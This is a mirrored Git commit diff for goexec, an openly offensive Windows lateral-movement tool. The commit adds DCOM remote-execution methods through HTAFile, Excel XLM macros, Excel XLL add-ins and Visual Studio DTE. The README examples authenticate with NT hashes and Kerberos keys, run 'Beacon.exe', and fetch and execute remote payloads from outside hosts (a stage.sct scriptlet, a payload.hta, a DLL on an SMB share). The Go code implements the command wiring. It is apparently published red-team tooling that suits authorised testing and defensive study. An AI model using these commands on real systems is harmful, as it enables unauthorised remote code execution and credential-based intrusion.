mirror of
https://github.com/FalconOpsLLC/goexec
synced 2026-06-06 15:44:27 +00:00
v0.3.0
Added four new DCOM execution primitives: - `dcom htafile` - `dcom excel macro` - `dcom excel xll` - `dcom visualstudio dte` See https://www.falconops.com/blog/goexec-dcom-madness for more info
This commit is contained in:
+3
-4
@@ -9,6 +9,8 @@ builds:
|
||||
- env:
|
||||
- CGO_ENABLED=0
|
||||
ldflags: -s -w
|
||||
flags:
|
||||
- -trimpath
|
||||
goos:
|
||||
- darwin
|
||||
- windows
|
||||
@@ -16,10 +18,7 @@ builds:
|
||||
goarch:
|
||||
- amd64
|
||||
- arm64
|
||||
|
||||
ignore:
|
||||
- goos: windows
|
||||
goarch: arm
|
||||
- riscv64
|
||||
|
||||
#upx:
|
||||
# - enabled: true
|
||||
|
||||
+2
-2
@@ -1,14 +1,14 @@
|
||||
FROM golang:1.24-alpine AS goexec-builder
|
||||
LABEL builder="true"
|
||||
|
||||
WORKDIR /go/src/github.com/github.com/FalconOpsLLC/goexec
|
||||
WORKDIR /go/src/github.com/FalconOpsLLC/goexec
|
||||
|
||||
COPY . .
|
||||
|
||||
ARG CGO_ENABLED=0
|
||||
|
||||
RUN go mod download
|
||||
RUN go build -ldflags="-s -w" -o /go/bin/goexec
|
||||
RUN go build -ldflags="-s -w" -trimpath -o /go/bin/goexec
|
||||
|
||||
FROM scratch
|
||||
COPY --from="goexec-builder" /go/bin/goexec /goexec
|
||||
|
||||
@@ -31,7 +31,7 @@ cd goexec
|
||||
CGO_ENABLED=0 go build -ldflags="-s -w"
|
||||
|
||||
# (Optional) Install goexec to /usr/local/bin/goexec
|
||||
sudo install ./goexec /usr/local/bin
|
||||
sudo install goexec /usr/local/bin
|
||||
```
|
||||
|
||||
### Install with Docker
|
||||
@@ -94,8 +94,8 @@ Authentication:
|
||||
|
||||
### Fetching Remote Process Output
|
||||
|
||||
Although not recommended for live engagements or monitored environments due to OPSEC concerns, we've included the optional ability to fetch program output via SMB file transfer with the `-o`/`--output` flag.
|
||||
Use of this flag will wrap the supplied command in `cmd.exe /c ... > \Windows\Temp\RANDOM` where `RANDOM` is a random GUID, then fetch the output file via SMB file transfer.
|
||||
Although not recommended for live engagements or monitored environments due to OPSEC concerns, we've included the optional ability to fetch program output via SMB file transfer with the `-o`/`--out` flag.
|
||||
Use of this flag will wrap the supplied command in `cmd.exe /c... >\Windows\Temp\RANDOM` where `RANDOM` is a random GUID, then fetch the output file via SMB file transfer.
|
||||
By default, the output collection will time out after 1 minute, but this can be adjusted with the `--out-timeout` flag.
|
||||
|
||||
|
||||
@@ -148,13 +148,13 @@ Execution:
|
||||
|
||||
```shell
|
||||
# Run an executable without arguments
|
||||
./goexec wmi proc "$target" \
|
||||
goexec wmi proc "$target" \
|
||||
-u "$auth_user" \
|
||||
-p "$auth_pass" \
|
||||
-e 'C:\Windows\Temp\Beacon.exe' \
|
||||
|
||||
# Authenticate with NT hash, fetch output from `cmd.exe /c whoami /all`
|
||||
./goexec wmi proc "$target" \
|
||||
goexec wmi proc "$target" \
|
||||
-u "$auth_user" \
|
||||
-H "$auth_nt" \
|
||||
-e 'cmd.exe' \
|
||||
@@ -183,7 +183,7 @@ WMI:
|
||||
|
||||
```shell
|
||||
# Call StdRegProv.EnumKey - enumerate registry subkeys of HKLM\SYSTEM
|
||||
./goexec wmi call "$target" \
|
||||
goexec wmi call "$target" \
|
||||
-u "$auth_user" \
|
||||
-p "$auth_pass" \
|
||||
-C 'StdRegProv' \
|
||||
@@ -193,10 +193,11 @@ WMI:
|
||||
|
||||
### DCOM Module (`dcom`)
|
||||
|
||||
The `dcom` module uses exposed Distributed Component Object Model (DCOM) objects to spawn processes.
|
||||
The `dcom` module uses exposed Distributed Component Object Model (DCOM) objects to gain remote execution.
|
||||
|
||||
> [!WARNING]
|
||||
> The DCOM module is generally less reliable than other modules because the underlying methods are often reliant on the target Windows version and specific Windows settings.
|
||||
> Additionally, Kerberos auth is not officially supported by the DCOM module, but kudos if you can get it to work.
|
||||
|
||||
```text
|
||||
Usage:
|
||||
@@ -206,6 +207,9 @@ Available Commands:
|
||||
mmc Execute with the MMC20.Application DCOM object
|
||||
shellwindows Execute with the ShellWindows DCOM object
|
||||
shellbrowserwindow Execute with the ShellBrowserWindow DCOM object
|
||||
htafile Execute with the HTAFile DCOM object
|
||||
excel Execute with DCOM object(s) targeting Microsoft Excel
|
||||
visualstudio Execute with DCOM object(s) targeting Microsoft Visual Studio
|
||||
|
||||
... [inherited flags] ...
|
||||
|
||||
@@ -244,7 +248,7 @@ Execution:
|
||||
|
||||
```shell
|
||||
# Authenticate with NT hash, fetch output from `cmd.exe /c whoami /priv` to file
|
||||
./goexec dcom mmc "$target" \
|
||||
goexec dcom mmc "$target" \
|
||||
-u "$auth_user" \
|
||||
-H "$auth_nt" \
|
||||
-e 'cmd.exe' \
|
||||
@@ -284,7 +288,7 @@ The app window argument (`--app-window`) must be one of the values described [he
|
||||
|
||||
```shell
|
||||
# Authenticate with local admin NT hash, execute `netstat.exe -anop tcp` w/ output
|
||||
./goexec dcom shellwindows "$target" \
|
||||
goexec dcom shellwindows "$target" \
|
||||
-u "$auth_user" \
|
||||
-H "$auth_nt" \
|
||||
-e 'netstat.exe' \
|
||||
@@ -292,7 +296,7 @@ The app window argument (`--app-window`) must be one of the values described [he
|
||||
-o- # write to standard output
|
||||
|
||||
# Authenticate with local admin password, open maximized notepad window on desktop
|
||||
./goexec dcom shellwindows "$target" \
|
||||
goexec dcom shellwindows "$target" \
|
||||
-u "$auth_user" \
|
||||
-p "$auth_pass" \
|
||||
-e 'notepad.exe' \
|
||||
@@ -326,17 +330,190 @@ Execution:
|
||||
|
||||
```shell
|
||||
# Authenticate with NT hash, open explorer.exe maximized
|
||||
./goexec dcom shellbrowserwindow "$target" \
|
||||
goexec dcom shellbrowserwindow "$target" \
|
||||
-u "$auth_user@$domain" \
|
||||
-H "$auth_nt" \
|
||||
-e 'explorer.exe' \
|
||||
--app-window 3
|
||||
```
|
||||
|
||||
#### `htafile` Method (`dcom htafile`)
|
||||
|
||||
The `htafile` method uses the exposed HTML Application object to call [`IPersistMoniker.Load`](https://learn.microsoft.com/en-us/previous-versions/aa458529(v=msdn.10)) with a client-supplied [URL moniker](https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-oshared/4948a119-c4e4-46b6-9609-0525118552e8). The URL can point to a URL of any format supported by `mshta.exe`.
|
||||
|
||||
```text
|
||||
Usage:
|
||||
goexec dcom htafile [target] [flags]
|
||||
|
||||
Execution:
|
||||
-U, --url URL Load custom URL
|
||||
--js string Execute JavaScript one-liner
|
||||
--vbs string Execute VBScript one-liner
|
||||
-e, --exec executable Remote Windows executable to invoke
|
||||
-a, --args string Process command line arguments
|
||||
-c, --command string Windows process command line (executable & arguments)
|
||||
-o, --out file Fetch execution output to file or "-" for standard output
|
||||
-m, --out-method string Method to fetch execution output (default "smb")
|
||||
--out-timeout duration Output timeout duration (default 1m0s)
|
||||
--no-delete-out Preserve output file on remote filesystem
|
||||
|
||||
... [inherited flags] ...
|
||||
```
|
||||
|
||||
##### Examples
|
||||
|
||||
```shell
|
||||
# Execute `net user` + print output
|
||||
goexec dcom htafile "$target" \
|
||||
--user "${auth_user}@${domain}" \
|
||||
--password "$auth_pass" \
|
||||
--command 'net user' \
|
||||
--out -
|
||||
|
||||
# Execute blind WSH JavaScript one-liner using admin NT hash
|
||||
goexec dcom htafile "$target" \
|
||||
--user "${auth_user}@${domain}" \
|
||||
--nt-hash "$auth_nt" \
|
||||
--js 'GetObject("script:http://10.0.0.10:8001/stage.sct").Exec();close()'
|
||||
|
||||
# Execute remote HTA file using admin NT hash
|
||||
goexec dcom htafile "$target" \
|
||||
--user "${auth_user}@${domain}" \
|
||||
--nt-hash "$auth_nt" \
|
||||
--url "http://callback.lan/payload.hta"
|
||||
```
|
||||
|
||||
#### Visual Studio `ExecuteCommand` Method (`dcom visualstudio dte`)
|
||||
|
||||
The `visualstudio dte` method uses the exposed `VisualStudio.DTE` object to spawn a process via the `ExecuteCommand` method.
|
||||
This method requires that the remote host has Microsoft Visual Studio installed.
|
||||
|
||||
```text
|
||||
Usage:
|
||||
goexec dcom visualstudio dte [target] [flags]
|
||||
|
||||
Visual Studio:
|
||||
--vs-2019 Target Visual Studio 2019
|
||||
--vs-command string Visual Studio DTE command to execute
|
||||
--vs-args string Visual Studio DTE command arguments
|
||||
|
||||
Execution:
|
||||
-e, --exec executable Remote Windows executable to invoke
|
||||
-a, --args string Process command line arguments
|
||||
-c, --command string Windows process command line (executable & arguments)
|
||||
-o, --out file Fetch execution output to file or "-" for standard output
|
||||
-m, --out-method string Method to fetch execution output (default "smb")
|
||||
--out-timeout duration Output timeout duration (default 1m0s)
|
||||
--no-delete-out Preserve output file on remote filesystem
|
||||
```
|
||||
|
||||
##### Examples
|
||||
|
||||
```shell
|
||||
# Execute `sc query` (batch) + save output to services.txt
|
||||
goexec dcom visualstudio dte "$target" \
|
||||
--user "${auth_user}@${domain}" \
|
||||
--password "$auth_pass" \
|
||||
--command 'sc query' -o services.txt
|
||||
|
||||
# Execute `cmd.exe /c set` with output, target Visual Studio 2019
|
||||
goexec dcom visualstudio dte "$target" \
|
||||
--user "${auth_user}@${domain}" \
|
||||
--password "$auth_pass" \
|
||||
--vs-2019 \
|
||||
--exec 'cmd.exe' \
|
||||
--args '/c set' -o-
|
||||
```
|
||||
|
||||
#### Excel Methods (`dcom excel`)
|
||||
|
||||
The `dcom excel` command group contains remote execution methods targeting Microsoft Excel.
|
||||
Each of these methods assume that the remote host has Excel installed.
|
||||
|
||||
```text
|
||||
Usage:
|
||||
goexec dcom excel [command] [flags]
|
||||
|
||||
Available Commands:
|
||||
macro Execute using Excel 4.0 macros (XLM)
|
||||
xll Execute by Loading an XLL add-in
|
||||
|
||||
... [inherited flags] ...
|
||||
```
|
||||
|
||||
#### Excel `ExecuteExcel4Macro` Method (`dcom excel macro`)
|
||||
|
||||
The `excel macro` method uses the exposed `Excel.Application` DCOM object to call [`ExecuteExcel4Macro`](https://learn.microsoft.com/en-us/office/vba/api/excel.application.executeexcel4macro) with an arbitrary Excel 4.0 macro.
|
||||
An Excel installation must be present on the remote host for this method to work.
|
||||
|
||||
```text
|
||||
Usage:
|
||||
goexec dcom excel macro [target] [flags]
|
||||
|
||||
Execution:
|
||||
-M, --macro string XLM macro
|
||||
--macro-file file XLM macro file
|
||||
-e, --exec executable Remote Windows executable to invoke
|
||||
-a, --args string Process command line arguments
|
||||
-c, --command string Windows process command line (executable & arguments)
|
||||
-o, --out file Fetch execution output to file or "-" for standard output
|
||||
-m, --out-method string Method to fetch execution output (default "smb")
|
||||
--out-timeout duration Output timeout duration (default 1m0s)
|
||||
--no-delete-out Preserve output file on remote filesystem
|
||||
|
||||
... [inherited flags] ...
|
||||
```
|
||||
|
||||
##### Examples
|
||||
|
||||
```shell
|
||||
# Execute `query session` + print output
|
||||
goexec dcom excel macro "$target" \
|
||||
--user "${auth_user}@${domain}" \
|
||||
--password "$auth_pass" \
|
||||
--command 'query session' -o-
|
||||
|
||||
# Use admin NT hash to directly call a Win32 API procedure via XLM
|
||||
goexec dcom excel macro "$target" \
|
||||
--user "${auth_user}@${domain}" \
|
||||
--nt-hash "$auth_nt" \
|
||||
-M 'CALL("user32","MessageBoxA","JJCCJ",1,"GoExec rules","bryan was here",0)'
|
||||
```
|
||||
|
||||
#### (Auxiliary) Excel `RegisterXLL` Method (`dcom excel xll`)
|
||||
|
||||
The `xll` method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL from the remote filesystem or an UNC path.
|
||||
This method requires that the remote host has Microsoft Excel installed.
|
||||
|
||||
```text
|
||||
Usage:
|
||||
goexec dcom excel xll [target] [flags]
|
||||
|
||||
Execution:
|
||||
--xll path XLL/DLL local or UNC path
|
||||
|
||||
... [inherited flags] ...
|
||||
```
|
||||
|
||||
##### Examples
|
||||
|
||||
```shell
|
||||
# Use admin password to execute XLL/DLL from an uploaded file
|
||||
goexec dcom excel xll "$target" \
|
||||
--user "${auth_user}" \
|
||||
--nt-hash "$auth_nt" \
|
||||
--xll 'C:\Users\localuser\Desktop\file.xll'
|
||||
|
||||
# Use admin NT hash to execute XLL/DLL from an SMB share
|
||||
goexec dcom excel xll "$target" \
|
||||
--user "${auth_user}@${domain}" \
|
||||
--nt-hash "$auth_nt" \
|
||||
--xll '\\smbserver.lan\share\addin.xll'
|
||||
```
|
||||
|
||||
### Task Scheduler Module (`tsch`)
|
||||
|
||||
The `tsch` module makes use of the Windows Task Scheduler service ([MS-TSCH](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/)) to spawn processes on the remote target.
|
||||
|
||||
```text
|
||||
Usage:
|
||||
goexec tsch [command] [flags]
|
||||
@@ -393,7 +570,7 @@ Execution:
|
||||
# Authenticate with NT hash via Kerberos,
|
||||
# register task at \Microsoft\Windows\GoExec,
|
||||
# execute `C:\Windows\Temp\Beacon.exe`
|
||||
./goexec tsch create "$target" \
|
||||
goexec tsch create "$target" \
|
||||
--user "${auth_user}@${domain}" \
|
||||
--nt-hash "$auth_nt" \
|
||||
--dc "$dc_ip" \
|
||||
@@ -404,7 +581,7 @@ Execution:
|
||||
# Authenticate using Kerberos AES key,
|
||||
# execute `C:\Windows\Temp\Seatbelt.exe -group=system`,
|
||||
# collect output with lengthened (5 minute) timeout
|
||||
./goexec tsch create "$target" \
|
||||
goexec tsch create "$target" \
|
||||
--user "${auth_user}@${domain}" \
|
||||
--dc "$dc_ip" \
|
||||
--aes-key "$auth_aes" \
|
||||
@@ -441,7 +618,7 @@ Execution:
|
||||
|
||||
```shell
|
||||
# Use random task name, execute `notepad.exe` on desktop session 1
|
||||
./goexec tsch demand "$target" \
|
||||
goexec tsch demand "$target" \
|
||||
--user "$auth_user" \
|
||||
--password "$auth_pass" \
|
||||
--exec 'notepad.exe' \
|
||||
@@ -450,7 +627,7 @@ Execution:
|
||||
# Authenticate with NT hash via Kerberos,
|
||||
# register task at \Microsoft\Windows\GoExec (will be deleted),
|
||||
# execute `C:\Windows\System32\cmd.exe /c set` with output
|
||||
./goexec tsch demand "$target" \
|
||||
goexec tsch demand "$target" \
|
||||
--user "${auth_user}@${domain}" \
|
||||
--nt-hash "$auth_nt" \
|
||||
--dc "$dc_ip" \
|
||||
@@ -491,7 +668,7 @@ Execution:
|
||||
|
||||
```shell
|
||||
# Enable debug logging, Modify "\Microsoft\Windows\UPnP\UPnPHostConfig" to run `cmd.exe /c whoami /all` with output
|
||||
./goexec tsch change $target --debug \
|
||||
goexec tsch change $target --debug \
|
||||
-u "${auth_user}" \
|
||||
-p "${auth_pass}" \
|
||||
-t '\Microsoft\Windows\UPnP\UPnPHostConfig' \
|
||||
@@ -594,7 +771,7 @@ Execution:
|
||||
|
||||
```shell
|
||||
# Used named pipe transport, Modify the PlugPlay service to execute `C:\Windows\System32\cmd.exe /c C:\Windows\Temp\stage.bat`
|
||||
./goexec scmr change $target \
|
||||
goexec scmr change $target \
|
||||
-u "$auth_user" \
|
||||
-p "$auth_pass" \
|
||||
-F "ncacn_np:" \
|
||||
|
||||
@@ -136,6 +136,7 @@ func argsRpcClient(proto string, endpoint string) func(cmd *cobra.Command, args
|
||||
func(cmd *cobra.Command, args []string) (err error) {
|
||||
switch {
|
||||
case rpcClient.Endpoint != "":
|
||||
case rpcClient.Filter != "":
|
||||
case endpoint == "":
|
||||
rpcClient.UseEpm = true
|
||||
default:
|
||||
|
||||
+246
-37
@@ -2,6 +2,10 @@ package cmd
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/FalconOpsLLC/goexec/pkg/goexec"
|
||||
dcomexec "github.com/FalconOpsLLC/goexec/pkg/goexec/dcom"
|
||||
@@ -18,19 +22,48 @@ func dcomCmdInit() {
|
||||
dcomMmcCmdInit()
|
||||
dcomShellWindowsCmdInit()
|
||||
dcomShellBrowserWindowCmdInit()
|
||||
dcomHtafileCmdInit()
|
||||
dcomExcelCmdInit()
|
||||
dcomVisualStudioCmdInit()
|
||||
|
||||
dcomCmd.PersistentFlags().AddFlagSet(defaultAuthFlags.Flags)
|
||||
dcomCmd.PersistentFlags().AddFlagSet(defaultLogFlags.Flags)
|
||||
dcomCmd.PersistentFlags().AddFlagSet(defaultNetRpcFlags.Flags)
|
||||
dcomCmd.AddCommand(dcomMmcCmd, dcomShellWindowsCmd, dcomShellBrowserWindowCmd)
|
||||
dcomCmd.AddCommand(
|
||||
dcomMmcCmd,
|
||||
dcomShellWindowsCmd,
|
||||
dcomShellBrowserWindowCmd,
|
||||
dcomHtafileCmd,
|
||||
dcomExcelCmd,
|
||||
dcomVisualStudioCmd,
|
||||
)
|
||||
}
|
||||
|
||||
func dcomExcelCmdInit() {
|
||||
cmdFlags[dcomExcelCmd] = []*flagSet{
|
||||
defaultAuthFlags,
|
||||
defaultLogFlags,
|
||||
defaultNetRpcFlags,
|
||||
}
|
||||
dcomExcelMacroCmdInit()
|
||||
dcomExcelXllCmdInit()
|
||||
dcomExcelCmd.AddCommand(dcomExcelMacroCmd, dcomExcelXllCmd)
|
||||
}
|
||||
|
||||
func dcomVisualStudioCmdInit() {
|
||||
cmdFlags[dcomVisualStudioCmd] = []*flagSet{
|
||||
defaultAuthFlags,
|
||||
defaultLogFlags,
|
||||
defaultNetRpcFlags,
|
||||
}
|
||||
dcomVisualStudioDteCmdInit()
|
||||
dcomVisualStudioCmd.AddCommand(dcomVisualStudioDteCmd)
|
||||
}
|
||||
|
||||
func dcomMmcCmdInit() {
|
||||
dcomMmcExecFlags := newFlagSet("Execution")
|
||||
|
||||
registerExecutionFlags(dcomMmcExecFlags.Flags)
|
||||
registerExecutionOutputFlags(dcomMmcExecFlags.Flags)
|
||||
|
||||
dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WorkingDirectory, "directory", `C:\`, "Working `directory`")
|
||||
dcomMmcExecFlags.Flags.StringVar(&dcomMmc.WindowState, "window", "Minimized", "Window state")
|
||||
|
||||
@@ -48,11 +81,9 @@ func dcomMmcCmdInit() {
|
||||
|
||||
func dcomShellWindowsCmdInit() {
|
||||
dcomShellWindowsExecFlags := newFlagSet("Execution")
|
||||
|
||||
registerExecutionFlags(dcomShellWindowsExecFlags.Flags)
|
||||
registerExecutionOutputFlags(dcomShellWindowsExecFlags.Flags)
|
||||
|
||||
dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WorkingDirectory, "directory", `C:\`, "Working `directory`")
|
||||
dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WorkingDirectory, "directory", `C:\`, "Working directory `path`")
|
||||
dcomShellWindowsExecFlags.Flags.StringVar(&dcomShellWindows.WindowState, "app-window", "0", "Application window state `ID`")
|
||||
|
||||
cmdFlags[dcomShellWindowsCmd] = []*flagSet{
|
||||
@@ -69,11 +100,9 @@ func dcomShellWindowsCmdInit() {
|
||||
|
||||
func dcomShellBrowserWindowCmdInit() {
|
||||
dcomShellBrowserWindowExecFlags := newFlagSet("Execution")
|
||||
|
||||
registerExecutionFlags(dcomShellBrowserWindowExecFlags.Flags)
|
||||
registerExecutionOutputFlags(dcomShellBrowserWindowExecFlags.Flags)
|
||||
|
||||
dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WorkingDirectory, "directory", `C:\`, "Working `directory`")
|
||||
dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WorkingDirectory, "directory", `C:\`, "Working directory `path`")
|
||||
dcomShellBrowserWindowExecFlags.Flags.StringVar(&dcomShellBrowserWindow.WindowState, "app-window", "0", "Application window state `ID`")
|
||||
|
||||
cmdFlags[dcomShellBrowserWindowCmd] = []*flagSet{
|
||||
@@ -88,10 +117,99 @@ func dcomShellBrowserWindowCmdInit() {
|
||||
dcomShellBrowserWindowCmd.MarkFlagsOneRequired("command", "exec")
|
||||
}
|
||||
|
||||
func dcomHtafileCmdInit() {
|
||||
dcomHtafileExecFlags := newFlagSet("Execution")
|
||||
dcomHtafileExecFlags.Flags.StringVarP(&dcomHtafile.Url, "url", "U", "", "Load custom `URL`")
|
||||
dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Javascript, "js", "", "Execute JavaScript one-liner")
|
||||
dcomHtafileExecFlags.Flags.StringVar(&dcomHtafile.Vbscript, "vbs", "", "Execute VBScript one-liner")
|
||||
registerExecutionFlags(dcomHtafileExecFlags.Flags)
|
||||
registerExecutionOutputFlags(dcomHtafileExecFlags.Flags)
|
||||
|
||||
cmdFlags[dcomHtafileCmd] = []*flagSet{
|
||||
dcomHtafileExecFlags,
|
||||
defaultAuthFlags,
|
||||
defaultLogFlags,
|
||||
defaultNetRpcFlags,
|
||||
}
|
||||
dcomHtafileCmd.Flags().AddFlagSet(dcomHtafileExecFlags.Flags)
|
||||
|
||||
// Constraints
|
||||
dcomHtafileCmd.MarkFlagsOneRequired("command", "exec", "url", "js", "vbs")
|
||||
}
|
||||
|
||||
func dcomExcelMacroCmdInit() {
|
||||
dcomExcelMacroExecFlags := newFlagSet("Execution")
|
||||
dcomExcelMacroExecFlags.Flags.StringArrayVarP(&dcomExcelMacro.Macros, "macro", "M", nil, "XLM macro `code`")
|
||||
dcomExcelMacroExecFlags.Flags.StringVar(&dcomExcelMacro.MacroFile, "macro-file", "", "XLM macro `file`")
|
||||
registerExecutionFlags(dcomExcelMacroExecFlags.Flags)
|
||||
registerExecutionOutputFlags(dcomExcelMacroExecFlags.Flags)
|
||||
|
||||
cmdFlags[dcomExcelMacroCmd] = []*flagSet{
|
||||
dcomExcelMacroExecFlags,
|
||||
defaultAuthFlags,
|
||||
defaultLogFlags,
|
||||
defaultNetRpcFlags,
|
||||
}
|
||||
dcomExcelMacroCmd.Flags().AddFlagSet(dcomExcelMacroExecFlags.Flags)
|
||||
|
||||
// Constraints
|
||||
dcomExcelMacroCmd.MarkFlagsOneRequired("command", "exec", "macro", "macro-file")
|
||||
dcomExcelMacroCmd.MarkFlagsMutuallyExclusive("command", "exec", "macro", "macro-file")
|
||||
dcomExcelMacroCmd.MarkFlagsMutuallyExclusive("macro", "macro-file", "out")
|
||||
}
|
||||
|
||||
func dcomVisualStudioDteCmdInit() {
|
||||
dcomVisualStudioDteVsFlags := newFlagSet("Visual Studio")
|
||||
dcomVisualStudioDteVsFlags.Flags.BoolVar(&dcomVisualStudioDte.Is2019, "vs-2019", false, "Target Visual Studio 2019")
|
||||
dcomVisualStudioDteVsFlags.Flags.StringVar(&dcomVisualStudioDte.CommandName, "vs-command", "", "Visual Studio DTE command to execute")
|
||||
dcomVisualStudioDteVsFlags.Flags.StringVar(&dcomVisualStudioDte.CommandArgs, "vs-args", "", "Visual Studio DTE command arguments")
|
||||
|
||||
dcomVisualStudioDteExecFlags := newFlagSet("Execution")
|
||||
registerExecutionFlags(dcomVisualStudioDteExecFlags.Flags)
|
||||
registerExecutionOutputFlags(dcomVisualStudioDteExecFlags.Flags)
|
||||
|
||||
cmdFlags[dcomVisualStudioDteCmd] = []*flagSet{
|
||||
dcomVisualStudioDteVsFlags,
|
||||
dcomVisualStudioDteExecFlags,
|
||||
defaultAuthFlags,
|
||||
defaultLogFlags,
|
||||
defaultNetRpcFlags,
|
||||
}
|
||||
dcomVisualStudioDteCmd.Flags().AddFlagSet(dcomVisualStudioDteVsFlags.Flags)
|
||||
dcomVisualStudioDteCmd.Flags().AddFlagSet(dcomVisualStudioDteExecFlags.Flags)
|
||||
|
||||
// Constraints
|
||||
dcomVisualStudioDteCmd.MarkFlagsOneRequired("command", "exec", "vs-command")
|
||||
dcomVisualStudioDteCmd.MarkFlagsMutuallyExclusive("command", "exec", "vs-command")
|
||||
dcomVisualStudioDteCmd.MarkFlagsMutuallyExclusive("vs-command", "out")
|
||||
}
|
||||
|
||||
func dcomExcelXllCmdInit() {
|
||||
dcomExcelXllExecFlags := newFlagSet("Execution")
|
||||
dcomExcelXllExecFlags.Flags.StringVar(&dcomExcelXll.XllLocation, "xll", "", "XLL/DLL local or UNC `path`")
|
||||
|
||||
cmdFlags[dcomExcelXllCmd] = []*flagSet{
|
||||
dcomExcelXllExecFlags,
|
||||
defaultAuthFlags,
|
||||
defaultLogFlags,
|
||||
defaultNetRpcFlags,
|
||||
}
|
||||
dcomExcelXllCmd.Flags().AddFlagSet(dcomExcelXllExecFlags.Flags)
|
||||
|
||||
// Constraints
|
||||
if err := dcomExcelXllCmd.MarkFlagRequired("xll"); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
dcomMmc dcomexec.DcomMmc
|
||||
dcomShellWindows dcomexec.DcomShellWindows
|
||||
dcomShellBrowserWindow dcomexec.DcomShellBrowserWindow
|
||||
dcomMmc = dcomexec.DcomMmc{}
|
||||
dcomShellWindows = dcomexec.DcomShellWindows{}
|
||||
dcomShellBrowserWindow = dcomexec.DcomShellBrowserWindow{}
|
||||
dcomHtafile = dcomexec.DcomHtafile{}
|
||||
dcomExcelMacro = dcomexec.DcomExcelMacro{}
|
||||
dcomExcelXll = dcomexec.DcomExcelXll{}
|
||||
dcomVisualStudioDte = dcomexec.DcomVisualStudioDte{}
|
||||
|
||||
dcomCmd = &cobra.Command{
|
||||
Use: "dcom",
|
||||
@@ -99,7 +217,21 @@ var (
|
||||
Long: `Description:
|
||||
The dcom module uses exposed Distributed Component Object Model (DCOM) objects to spawn processes.`,
|
||||
GroupID: "module",
|
||||
Args: cobra.NoArgs,
|
||||
Args: cobra.ArbitraryArgs,
|
||||
}
|
||||
|
||||
dcomExcelCmd = &cobra.Command{
|
||||
Use: "excel [method]",
|
||||
Short: "Execute with DCOM object(s) targeting Microsoft Excel",
|
||||
Long: `Description:
|
||||
Commands in the excel group use exposed Excel DCOM objects to gain remote execution`,
|
||||
}
|
||||
|
||||
dcomVisualStudioCmd = &cobra.Command{
|
||||
Use: "visualstudio [method]",
|
||||
Short: "Execute with DCOM object(s) targeting Microsoft Visual Studio",
|
||||
Long: `Description:
|
||||
Commands in the visualstudio group use exposed Visual Studio DCOM objects to gain remote execution`,
|
||||
}
|
||||
|
||||
dcomMmcCmd = &cobra.Command{
|
||||
@@ -108,19 +240,13 @@ var (
|
||||
Long: `Description:
|
||||
The mmc method uses the exposed MMC20.Application object to call Document.ActiveView.ShellExec,
|
||||
and ultimately spawn a process on the remote host.`,
|
||||
Args: args(
|
||||
argsRpcClient("host", ""),
|
||||
Args: args(argsRpcClient("cifs", ""),
|
||||
argsOutput("smb"),
|
||||
argsAcceptValues("window", &dcomMmc.WindowState, "Minimized", "Maximized", "Restored"),
|
||||
),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
dcomMmc.Client = &rpcClient
|
||||
dcomMmc.IO = exec
|
||||
dcomMmc.ClassID = dcomexec.Mmc20Uuid
|
||||
|
||||
ctx := log.With().
|
||||
Str("module", dcomexec.ModuleName).
|
||||
Str("method", dcomexec.MethodMmc).
|
||||
ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodMmc).
|
||||
Logger().WithContext(gssapi.NewSecurityContext(context.Background()))
|
||||
|
||||
if err := goexec.ExecuteCleanMethod(ctx, &dcomMmc, &exec); err != nil {
|
||||
@@ -135,19 +261,13 @@ var (
|
||||
Long: `Description:
|
||||
The shellwindows method uses the exposed ShellWindows DCOM object on older Windows installations
|
||||
to call Item().Document.Application.ShellExecute, and spawn the provided process.`,
|
||||
Args: args(
|
||||
argsRpcClient("host", ""),
|
||||
Args: args(argsRpcClient("host", ""),
|
||||
argsOutput("smb"),
|
||||
argsAcceptValues("app-window", &dcomShellWindows.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"),
|
||||
),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
dcomShellWindows.Client = &rpcClient
|
||||
dcomShellWindows.IO = exec
|
||||
dcomShellWindows.ClassID = dcomexec.ShellWindowsUuid
|
||||
|
||||
ctx := log.With().
|
||||
Str("module", dcomexec.ModuleName).
|
||||
Str("method", dcomexec.MethodShellWindows).
|
||||
ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellWindows).
|
||||
Logger().WithContext(gssapi.NewSecurityContext(context.Background()))
|
||||
|
||||
if err := goexec.ExecuteCleanMethod(ctx, &dcomShellWindows, &exec); err != nil {
|
||||
@@ -162,19 +282,13 @@ var (
|
||||
Long: `Description:
|
||||
The shellbrowserwindow method uses the exposed ShellBrowserWindow DCOM object on older Windows installations
|
||||
to call Document.Application.ShellExecute, and spawn the provided process.`,
|
||||
Args: args(
|
||||
argsRpcClient("host", ""),
|
||||
Args: args(argsRpcClient("host", ""),
|
||||
argsOutput("smb"),
|
||||
argsAcceptValues("app-window", &dcomShellBrowserWindow.WindowState, "0", "1", "2", "3", "4", "5", "7", "10"),
|
||||
),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
dcomShellBrowserWindow.Client = &rpcClient
|
||||
dcomShellBrowserWindow.IO = exec
|
||||
dcomShellBrowserWindow.ClassID = dcomexec.ShellBrowserWindowUuid
|
||||
|
||||
ctx := log.With().
|
||||
Str("module", dcomexec.ModuleName).
|
||||
Str("method", dcomexec.MethodShellBrowserWindow).
|
||||
ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodShellBrowserWindow).
|
||||
Logger().WithContext(gssapi.NewSecurityContext(context.Background()))
|
||||
|
||||
if err := goexec.ExecuteCleanMethod(ctx, &dcomShellBrowserWindow, &exec); err != nil {
|
||||
@@ -182,4 +296,99 @@ var (
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
